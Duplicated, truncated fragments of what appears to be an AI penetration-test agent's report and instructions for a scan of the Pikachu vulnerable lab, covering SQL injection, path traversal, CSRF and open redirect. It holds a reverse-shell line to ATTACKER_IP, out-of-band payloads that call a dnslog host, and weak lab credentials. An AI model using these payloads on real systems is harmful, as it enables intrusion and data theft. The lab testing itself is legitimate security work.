<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/inc/">http://192.168.1.133:8000/inc/<

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/inc/">http://192.168.1.133:8000/inc/</div></td>         <td><span class="row-open-indicator">›</span></td>

<td><div class="vuln-target" title="http://192.168.1.133:8000/inc/">http://192.168.1.133:8000/inc/</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/.DS_Store">http://192.168.1.133:8000/

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/.DS_Store">http://192.168.1.133:8000/.DS_Store</div></td>         <td><span class="row-open-indicator">›</span></td>

<td><div class="vuln-target" title="http://192.168.1.133:8000/.DS_Store">http://192.168.1.133:8000/.DS_Store</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/phpmyadmin/">http://192.168.1.133:800

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/phpmyadmin/">http://192.168.1.133:8000/phpmyadmin/</div></td>         <td><span class="row-open-indicator">›</span></td

<td><div class="vuln-target" title="http://192.168.1.133:8000/phpmyadmin/">http://192.168.1.133:8000/phpmyadmin/</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">竞争条件</span></td>         <td><span class="conf-badge">likely</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_token.php">http://192.

<td><span class="conf-badge">likely</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_token.php">http://192.168.1.133:8000/vul/burteforce/bf_token.php</div></td>         <td><span class="row

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_token.php">http://192.168.1.133:8000/vul/burteforce/bf_token.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/.git/">http://192.168.1.133:8000/.git

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/.git/">http://192.168.1.133:8000/.git/</div></td>         <td><span class="row-open-indicator">›</span></td>

<td><div class="vuln-target" title="http://192.168.1.133:8000/.git/">http://192.168.1.133:8000/.git/</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">认证绕过</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/overpermission/op2/op2_login.php"

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/overpermission/op2/op2_login.php">http://192.168.1.133:8000/vul/overpermission/op2/op2_login.php</div></td>        

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/overpermission/op2/op2_login.php">http://192.168.1.133:8000/vul/overpermission/op2/op2_login.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">业务逻辑漏洞</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php"

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php">http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php</div></td>         <td

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php">http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">业务逻辑漏洞</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/bqg/login.html">http://192.168.1.13

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/bqg/login.html">http://192.168.1.133:8000/bqg/login.html</div></td>         <td><span class="row-open-indicator">›</spa

<td><div class="vuln-target" title="http://192.168.1.133:8000/bqg/login.html">http://192.168.1.133:8000/bqg/login.html</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/">http://192.168.1.133:8000/</div></t

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/">http://192.168.1.133:8000/</div></td>         <td><span class="row-open-indicator">›</span></td>

<td><div class="vuln-target" title="http://192.168.1.133:8000/">http://192.168.1.133:8000/</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../.

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../../../../etc/hostname">http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../.

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../../../../etc/hostname">http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../../../../etc/hostname</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td>         <td><span class="conf-badge">likely</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../">http://1

<td><span class="conf-badge">likely</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../">http://192.168.1.133:8000/vul/dir/dir_list.php?title=../</div></td>         <td><span clas

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../">http://192.168.1.133:8000/vul/dir/dir_list.php?title=../</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td>         <td><span class="conf-badge">potential</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/">http://192.168.1.133:8000/</div></t

<td><span class="conf-badge">potential</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/">http://192.168.1.133:8000/</div></td>         <td><span class="row-open-indicator">›</span></td>

<td><div class="vuln-target" title="http://192.168.1.133:8000/">http://192.168.1.133:8000/</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">访问控制缺陷</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/">http://192.168.1.133:8000/</div><

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/">http://192.168.1.133:8000/</div></td>         <td><span class="row-open-indicator">›</span></td>

<td><div class="vuln-target" title="http://192.168.1.133:8000/">http://192.168.1.133:8000/</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">越权访问</span></td>         <td><span class="conf-badge">potential</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/overpermission/op1/op1_mem.php">h

<td><span class="conf-badge">potential</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/overpermission/op1/op1_mem.php">http://192.168.1.133:8000/vul/overpermission/op1/op1_mem.php</div></td>         <td

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/overpermission/op1/op1_mem.php">http://192.168.1.133:8000/vul/overpermission/op1/op1_mem.php</div></td>

</div>             <div class="attack-chain-step-title">SSRF /vul/ssrf/ssrf_curl.php - url参数通过curl访问内部服务</div>             <div class="attack-chain-step-desc">SSRF(curl) - ssrf_curl.php的url参数通过PHP curl库发起服务端请求，可访问内部资源如 http://127.0.0.1/pkxs

<div class="attack-chain-step-title">SSRF /vul/ssrf/ssrf_curl.php - url参数通过curl访问内部服务</div>             <div class="attack-chain-step-desc">SSRF(curl) - ssrf_curl.php的url参数通过PHP curl库发起服务端请求，可访问内部资源如 http://127.0.0.1/pkxss/index.php，DNS OOB

<div class="attack-chain-step-desc">SSRF(curl) - ssrf_curl.php的url参数通过PHP curl库发起服务端请求，可访问内部资源如 http://127.0.0.1/pkxss/index.php，DNS OOB确认服务端出公网能力</div>

</div>             <div class="attack-chain-step-title">.git目录完全暴露 - 源代码仓库信息泄露</div>             <div class="attack-chain-step-desc">.git目录完全暴露 - GitHub仓库 https://github.com/zhuifengshaonianhanlu/pikachu.git 公开、分支master、克隆时间等全部泄露，攻击者可获取完整源码

<div class="attack-chain-step-title">.git目录完全暴露 - 源代码仓库信息泄露</div>             <div class="attack-chain-step-desc">.git目录完全暴露 - GitHub仓库 https://github.com/zhuifengshaonianhanlu/pikachu.git 公开、分支master、克隆时间等全部泄露，攻击者可获取完整源码分析数据库结构和认证逻辑</div> 

<div class="attack-chain-step-desc">.git目录完全暴露 - GitHub仓库 https://github.com/zhuifengshaonianhanlu/pikachu.git 公开、分支master、克隆时间等全部泄露，攻击者可获取完整源码分析数据库结构和认证逻辑</div>

<div class="attack-chain-step-desc">命令注入 - rce_ping.php的ipaddress参数通过管道符|注入系统命令(dir成功执行)，PHP exec()函数未做escapeshellcmd/escapeshellarg过滤</div>

<div class="attack-chain-step-desc">PHP eval()代码执行 - rce_eval.php的txt参数直接在eval()中执行任意PHP代码(phpinfo()确认PHP 7.3.6、Linux环境、Apache Handler)，可执行system()等危险函数</div>

<div class="attack-chain-impact">         <div class="detail-block-title">链路影响</div>         <div class="attack-chain-impact-text">攻击者通过命令注入(INJ-014)或PHP代码执行(INJ-015)获得服务器端代码执行能力。命令注入可执行任意系统命令（如反弹shell到攻击者服务器: bash -c 'bash -i &gt;&amp; /de

<div class="detail-block-title">链路影响</div>         <div class="attack-chain-impact-text">攻击者通过命令注入(INJ-014)或PHP代码执行(INJ-015)获得服务器端代码执行能力。命令注入可执行任意系统命令（如反弹shell到攻击者服务器: bash -c 'bash -i &gt;&amp; /dev/tcp/ATTACKER_IP/PORT 0&gt;&amp;1'），获取交互式

<div class="attack-chain-impact-text">攻击者通过命令注入(INJ-014)或PHP代码执行(INJ-015)获得服务器端代码执行能力。命令注入可执行任意系统命令（如反弹shell到攻击者服务器: bash -c 'bash -i &gt;&amp; /dev/tcp/ATTACKER_IP/PORT 0&gt;&amp;1'），获取交互式反向Shell。PHP eval可执行phpinfo()获取PHP完整配置、disable_funct

<div class="attack-chain-impact-text">攻击者通过命令注入(INJ-014)或PHP代码执行(INJ-015)获得服务器端代码执行能力。命令注入可执行任意系统命令（如反弹shell到攻击者服务器: bash -c 'bash -i &gt;&amp; /dev/tcp/ATTACKER_IP/PORT 0&gt;&amp;1'），获取交互式反向Shell。PHP eval可执行phpinfo()获取PHP完整配置、disable_funct

info:     { label: '信息', cls: 'badge-info' }, }; const vulnDrawerData = {"VUL-001": {"vuln_id": "VUL-001", "title": "客户端检测绕过文件上传 /vul/unsafeupload/clientcheck.php - WebShell获取RCE", "severity_label": "严重", "severity_cls": "badge-critical", "

[Credential-related source omitted]

"tester": "vibe-pentest-agent-v1",     // 固定值     "scope": {       "target_url": "http://target:port/", // 测试目标 URL

"scope": {       "target_url": "http://target:port/", // 测试目标 URL       "tech_stack": ["java", "spring_boot_3", "halo_cms"] // 指纹识别结果

"target_url": "http://target:port/", // 测试目标 URL

"confidence": "confirmed",       // 枚举: confirmed, likely, potential       "authenticated": true,           // boolean，是否需要认证才能触发       "target_url": "http://...",       // 漏洞目标 URL

"authenticated": true,           // boolean，是否需要认证才能触发       "target_url": "http://...",       // 漏洞目标 URL       "description": "详细描述，包含影响分析。",

"target_url": "http://...",       // 漏洞目标 URL

{           "label": "漏洞验证回放命令",           "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://...\" --method GET --show-command --show-summary --include-headers",

"label": "漏洞验证回放命令",           "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://...\" --method GET --show-command --show-summary --include-headers",           "expected_evidence": "执行后应看到的关键响应证据"

"command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://...\" --method GET --show-command --show-summary --include-headers",

"seq": 1,           "label": "此交互的说明",           "request": {"method": "GET", "url": "http://...", "headers": {}, "body": null},

"label": "此交互的说明",           "request": {"method": "GET", "url": "http://...", "headers": {}, "body": null},           "response": {"status_code": 200, "headers": {}, "body": "..."}

"request": {"method": "GET", "url": "http://...", "headers": {}, "body": null},

"confidence": "confirmed",       "authenticated": false,       "target_url": "http://192.168.1.133:8000/.git/HEAD",

"authenticated": false,       "target_url": "http://192.168.1.133:8000/.git/HEAD",       "description": ".git目录完全公开，攻击者可通过git clone获取完整源码，包含硬编码的数据库密码、API密钥等敏感信息。",

"target_url": "http://192.168.1.133:8000/.git/HEAD",

{           "label": "回放 .git 暴露确认请求",           "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/.git/HEAD\" --method GET --show-command --show-summary --include-headers",

"label": "回放 .git 暴露确认请求",           "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/.git/HEAD\" --method GET --show-command --show-summary --include-headers",           "expected_evidence": "响应

"command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/.git/HEAD\" --method GET --show-command --show-summary --include-headers",

"request": {             "method": "GET",             "url": "http://192.168.1.133:8000/.git/HEAD",

"method": "GET",             "url": "http://192.168.1.133:8000/.git/HEAD",             "headers": {},

"url": "http://192.168.1.133:8000/.git/HEAD",

"request": {             "method": "GET",             "url": "http://192.168.1.133:8000/.git/config",

"method": "GET",             "url": "http://192.168.1.133:8000/.git/config",             "headers": {},

"url": "http://192.168.1.133:8000/.git/config",

"confidence": "confirmed",       "authenticated": false,       "target_url": "http://192.168.1.133:8000/vul/brute/bf_form.php",

"authenticated": false,       "target_url": "http://192.168.1.133:8000/vul/brute/bf_form.php",       "description": "登录接口未限制登录频率，使用弱口令字典成功破解出 admin:123456 和 pikachu:000000 两组有效凭证。",

"target_url": "http://192.168.1.133:8000/vul/brute/bf_form.php",

{           "label": "回放弱口令登录成功请求",           "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/brute/bf_form.php\" --method POST --form '{\"username\":\"admin\",\"password\":\"123456\",\"subm

"label": "回放弱口令登录成功请求",           "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/brute/bf_form.php\" --method POST --form '{\"username\":\"admin\",\"password\":\"123456\",\"submit\":\"登录\"}

"command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/brute/bf_form.php\" --method POST --form '{\"username\":\"admin\",\"password\":\"123456\",\"submit\":\"登录\"}' --show-command --show-summary --

"request": {             "method": "POST",             "url": "http://192.168.1.133:8000/vul/brute/bf_form.php",

"method": "POST",             "url": "http://192.168.1.133:8000/vul/brute/bf_form.php",             "headers": {"Content-Type": "application/x-www-form-urlencoded"},

"url": "http://192.168.1.133:8000/vul/brute/bf_form.php",

"request": {             "method": "POST",             "url": "http://192.168.1.133:8000/vul/brute/bf_form.php",

"method": "POST",             "url": "http://192.168.1.133:8000/vul/brute/bf_form.php",             "headers": {"Content-Type": "application/x-www-form-urlencoded"},

"url": "http://192.168.1.133:8000/vul/brute/bf_form.php",

"confidence": "confirmed",       "authenticated": true,       "target_url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit",

"authenticated": true,       "target_url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit",       "description": "用户资料修改接口使用GET请求且无CSRF Token防护，攻击者构造恶意

"target_url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit",

{           "label": "回放 CSRF 恶意修改请求",           "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&su

"label": "回放 CSRF 恶意修改请求",           "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit\

"command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit\" --method GET --show-command --show-

"request": {             "method": "GET",             "url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php",

"method": "GET",             "url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php",             "headers": {},

"url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php",

"request": {             "method": "GET",             "url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit",

"method": "GET",             "url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit",             "headers": {},

"url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit",

"confidence": "confirmed",       "authenticated": false,       "target_url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd",

"authenticated": false,       "target_url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd",       "description": "filename参数未校验路径穿越，通过../../../../可包含任意本地文件，成功读取/etc/passwd系统文件。",

"target_url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd",

{           "label": "回放路径穿越读取系统文件",           "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd&submit=提交\" --method GET --show-comman

"label": "回放路径穿越读取系统文件",           "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd&submit=提交\" --method GET --show-command --show-sum

"command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd&submit=提交\" --method GET --show-command --show-summary --include-headers",

"request": {             "method": "GET",             "url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd&submit=提交",

"method": "GET",             "url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd&submit=提交",             "headers": {},

"url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd&submit=提交",

"request": {             "method": "GET",             "url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../proc/self/environ&cmd=nslookup+abc123.dnslog.cn",

"method": "GET",             "url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../proc/self/environ&cmd=nslookup+abc123.dnslog.cn",             "headers": {},

"url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../proc/self/environ&cmd=nslookup+abc123.dnslog.cn",

| 漏洞类型 | 验证方式 | 典型 Payload 示例 | |----------|---------|------------------| | **SSRF（OOB 验证）** | 通过 DNS 请求确认服务端发起了对外请求 | `http://target/api?url=http://abc123.dnslog.cn` |

|----------|---------|------------------| | **SSRF（OOB 验证）** | 通过 DNS 请求确认服务端发起了对外请求 | `http://target/api?url=http://abc123.dnslog.cn` | | **盲 XXE（OOB）** | 通过外部实体引用触发 DNS 查询 | `<!ENTITY % xxe SYSTEM "http://abc123.dnslog.cn/evil.dtd">` |

| **SSRF（OOB 验证）** | 通过 DNS 请求确认服务端发起了对外请求 | `http://target/api?url=http://abc123.dnslog.cn` |

| **盲 XXE（OOB）** | 通过外部实体引用触发 DNS 查询 | `<!ENTITY % xxe SYSTEM "http://abc123.dnslog.cn/evil.dtd">` |

| **命令注入（盲）** | 通过 DNS 查询确认命令被执行 | `; nslookup abc123.dnslog.cn` 或 `\| ping abc123.dnslog.cn` | | **SQL 盲注（OOB 外带）** | 通过数据库 DNS 外带函数确认注入 | MySQL: `LOAD_FILE('\\\\abc123.dnslog.cn\\x')`  Oracle: `UTL_HTTP.REQUEST('http://abc123.dnslog.cn')`

| **SQL 盲注（OOB 外带）** | 通过数据库 DNS 外带函数确认注入 | MySQL: `LOAD_FILE('\\\\abc123.dnslog.cn\\x')`  Oracle: `UTL_HTTP.REQUEST('http://abc123.dnslog.cn')` |

"confidence": "confirmed",       "authenticated": false,       "target_url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#",

"authenticated": false,       "target_url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#",       "description": "name参数未做参数化处理，单引号注入后 OR 1=1 可泄露数据库中全部8个用户的UID和邮箱。",

"target_url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#",

{           "label": "漏洞验证回放命令",           "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#&submit=查询\" --method GET --show-command --show-summary --include-

"label": "漏洞验证回放命令",           "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#&submit=查询\" --method GET --show-command --show-summary --include-headers",   

"command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#&submit=查询\" --method GET --show-command --show-summary --include-headers",

"request": {             "method": "GET",             "url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1%27&submit=查询",

"method": "GET",             "url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1%27&submit=查询",             "headers": {},

"url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1%27&submit=查询",

"request": {             "method": "GET",             "url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#&submit=查询",

"method": "GET",             "url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#&submit=查询",             "headers": {},

"url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#&submit=查询",

"request": {             "method": "GET",             "url": "http://192.168.1.133:8000/vul/sqli/sqli_blind.php?id=1' UNION SELECT LOAD_FILE('\\\\abc123.dnslog.cn\\x')-- &submit=查询",

"method": "GET",             "url": "http://192.168.1.133:8000/vul/sqli/sqli_blind.php?id=1' UNION SELECT LOAD_FILE('\\\\abc123.dnslog.cn\\x')-- &submit=查询",             "headers": {},

"url": "http://192.168.1.133:8000/vul/sqli/sqli_blind.php?id=1' UNION SELECT LOAD_FILE('\\\\abc123.dnslog.cn\\x')-- &submit=查询",

"confidence": "confirmed",       "authenticated": false,       "target_url": "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com",

"authenticated": false,       "target_url": "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com",       "description": "url参数未校验域名白名单，服务端直接302重定向到任意外部域名，攻击者可用于钓鱼攻击。",

"target_url": "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com",

{           "label": "回放开放重定向请求",           "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com\" --method GET --show-command --show-summary --inc

"label": "回放开放重定向请求",           "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com\" --method GET --show-command --show-summary --include-headers

"command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com\" --method GET --show-command --show-summary --include-headers",

"request": {             "method": "GET",             "url": "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com",

"method": "GET",             "url": "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com",             "headers": {},

"url": "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com",

"response": {             "status_code": 302,             "headers": {"Location": "http://evil.com"},

"status_code": 302,             "headers": {"Location": "http://evil.com"},             "body": ""

"headers": {"Location": "http://evil.com"},

| 变量 | 规则 | 示例（key = `http://192.168.1.133:8080/jenkins/`） | 示例（key = `http://target.com/`） |

|------|------|--------------------------------------------------|----------------------------------| | `{{BaseURL}}` | key 去掉末尾斜杠，**保留路径部分** | `http://192.168.1.133:8080/jenkins` | `http://target.com` | | `{{RootURL}}` | 仅保留 `scheme://host

| `{{BaseURL}}` | key 去掉末尾斜杠，**保留路径部分** | `http://192.168.1.133:8080/jenkins` | `http://target.com` |

| `{{RootURL}}` | 仅保留 `scheme://host:port`，**去掉路径部分** | `http://192.168.1.133:8080` | `http://target.com` |

- `nuclei-templates` — [https://github.com/projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates)

- `Awesome-POC` — [https://github.com/Threekiii/Awesome-POC](https://github.com/Threekiii/Awesome-POC)

- `Vulnerability-Wiki-PoC` — [https://github.com/SourByte05/Vulnerability-Wiki-PoC/tree/main](https://github.com/SourByte05/Vulnerability-Wiki-PoC/tree/main)

- `Exploit Database` — [https://www.exploit-db.com/](https://www.exploit-db.com/)

- 同一漏洞在本地 YAML、联网搜索、Exploit-DB、博客复现、GitHub issue / advisory 中同时命中时，如果**存在不同payload变体**，保留所有变体，作为一个漏洞候选。 - 联网命中的候选只有在精读后确认 endpoint、方法、参数位置、payload 结构、命令形式、动态值和 matcher/OOB 条件完全等价时，才允许把多个来源标记为同一变体；否则必须作为独立变体保留。 - 联网命中的非 YAML POC、脚本型 POC、复现文章

- 联网命中的非 YAML POC、脚本型 POC、复现文章不得因为已有同 CVE 本地 YAML 或 nuclei 模板就直接丢弃；即使只展示部分请求，只要包含关键差异（如 GET query 与 POST XML body、XML 属性与 XML 子元素、curl 与 nslookup、不同 typeName / namespace），也必须保留为待补全变体。

2. **表达式解析层失败**：如 `No such attribute: exec(...)`、`No such property`、表达式原文被当作属性名、函数名未识别、payload 未进入调用语义，应标记为“表达式未被执行/仅按属性名解析”，并优先切换表达式入口、参数位置、语法形式、协议版本或 typeName。

"confidence": "confirmed",       "authenticated": false,       "target_url": "http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...",

"authenticated": false,       "target_url": "http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...",       "description": "通过指纹识别发现 Jenkins/2.138，匹配 POC CVE-2018-1000861 验证存在远程命令注入漏洞。",

"target_url": "http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...",

{           "label": "POC 验证回放命令",           "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...\" --method GET --include-headers --show-summary --respo

"label": "POC 验证回放命令",           "command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...\" --method GET --include-headers --show-summary --response-max-line

"command": "python \"d:/vibe_pentest/scripts/http_test.py\" --url \"http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...\" --method GET --include-headers --show-summary --response-max-lines 100 --allow-insecure --timeout 

"request": {             "method": "GET",             "url": "http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...",

"method": "GET",             "url": "http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...",             "headers": {},

"url": "http://192.168.1.133:8080/securityRealm/user/admin/descriptorByName/...",

"request": {             "method": "GET",             "url": "http://192.168.1.133:8080/api/ssrf?url=http://abc123.dnslog.cn",

"method": "GET",             "url": "http://192.168.1.133:8080/api/ssrf?url=http://abc123.dnslog.cn",             "headers": {},

"url": "http://192.168.1.133:8080/api/ssrf?url=http://abc123.dnslog.cn",

"confidence": "potential",       "authenticated": false,       "target_url": "http://192.168.1.133:8080/xxx",

"authenticated": false,       "target_url": "http://192.168.1.133:8080/xxx",       "description": "目标存在对应组件与接口，匹配 POC CVE-XXXX-XXXXX，但验证依赖执行破坏性命令/写入生产数据，无法通过无害 payload 替换或 OOB 外带完成无害化验证，故未实际验证。漏洞可能真实存在，建议人工复验。",

"target_url": "http://192.168.1.133:8080/xxx",

1.1.1.1:8080 socks5://user:pass@127.0.0.1:1080 http://user:pass@3.3.3.3:8080

http://user:pass@3.3.3.3:8080

- `My PoC Source`   - 链接: https://example.com/my-poc-source

- 链接: https://example.com/my-poc-source

MyApp 存在远程代码执行漏洞，攻击者可通过 /api/exec 端点执行任意命令。   reference:     - https://example.com/advisory

reference:     - https://example.com/advisory   classification:

- https://example.com/advisory

description: 奇安信天擎管理中心 <=V6.7.0.4130 版本的rptsvr接口存在任意文件上传漏洞，攻击者利用该漏洞可获取服务器权限。   reference:     - "https://github.com/wy876/POC/blob/af376b2a7135eeb57a5abbb4dc2f9b59b90cbd43/Atlassian%20Confluence%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%

